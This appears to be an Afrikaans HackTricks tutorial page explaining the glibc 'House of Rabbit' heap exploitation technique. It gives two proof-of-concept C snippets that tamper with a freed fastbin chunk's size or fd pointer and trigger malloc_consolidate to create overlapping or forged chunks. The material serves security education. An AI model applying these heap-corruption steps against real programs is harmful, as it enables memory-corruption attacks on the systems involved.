House of Rabbit
Reading time: 5 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Vereistes
- Vermogen om die fast bin fd pointer of grootte te verander: Dit beteken jy kan die voorwaartse pointer van 'n stuk in die fastbin of sy grootte verander.
- Vermogen om
malloc_consolidate
te aktiveer: Dit kan gedoen word deur 'n groot stuk toe te ken of die boonste stuk te kombineer, wat die heap dwing om stukke te konsolideer.
Doelwitte
- Skep oorvleuelende stukke: Om een stuk oor te laat vlek met 'n ander, wat verdere heap manipulasies moontlik maak.
- Vals stukke forge: Om die toewysingsprogram te mislei om 'n vals stuk as 'n wettige stuk te behandel tydens heap operasies.
Stappe van die aanval
POC 1: Verander die grootte van 'n fast bin stuk
Doel: Skep 'n oorvleuelende stuk deur die grootte van 'n fastbin stuk te manipuleer.
- Stap 1: Ken stukke toe
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
Ons allokeer twee stukke van 0x40 bytes elk. Hierdie stukke sal in die vinnige bin lys geplaas word sodra dit vrygestel word.
- Stap 2: Vrygestelde Stukke
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Ons vry beide stukke, en voeg hulle by die fastbin lys.
- Stap 3: Wysig Stuk Grootte
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Ons verander die grootte metadata van chunk1
na 0xa1. Dit is 'n belangrike stap om die allokator te mislei tydens konsolidasie.
- Stap 4: Trigger
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Toewysing van 'n groot stuk aktiveer die malloc_consolidate
funksie, wat klein stukke in die vinnige bin saamvoeg. Die gemanipuleerde grootte van chunk1
veroorsaak dat dit oorvleuel met chunk2
.
Na konsolidasie oorvleuel chunk1
met chunk2
, wat verdere uitbuiting moontlik maak.
POC 2: Wysig die fd
wysiger
Doel: Skep 'n vals stuk deur die vinnige bin fd
wysiger te manipuleer.
- Stap 1: Toewys Stukke
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Verklaring: Ons allokeer twee stukke, een kleiner en een groter, om die heap vir die valse stuk op te stel.
- Stap 2: Skep valse stuk
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
Ons skryf vals chunk metadata in chunk2
om kleiner chunks te simuleer.
- Stap 3: Vry
chunk1
free(chunk1); // Frees the chunk at 0x602000
Verklaring: Ons maak chunk1
vry, en voeg dit by die fastbin lys.
- Stap 4: Wysig
fd
vanchunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Verklaring: Ons verander die vooraanwyser (fd
) van chunk1
om na ons valse chunk binne chunk2
te wys.
- Stap 5: Trigger
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Toewysing van 'n groot stuk aktiveer weer malloc_consolidate
, wat die vals stuk verwerk.
Die vals stuk word 'n deel van die fastbin lys, wat dit 'n legitieme stuk maak vir verdere uitbuiting.
Samevatting
Die House of Rabbit tegniek behels of die grootte van 'n fast bin stuk te verander om oorvleuelende stukke te skep of die fd
wysser te manipuleer om vals stukke te skep. Dit stel aanvallers in staat om legitieme stukke in die heap te vervals, wat verskeie vorme van uitbuiting moontlik maak. Om hierdie stappe te verstaan en te oefen, sal jou heap uitbuitingsvaardighede verbeter.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.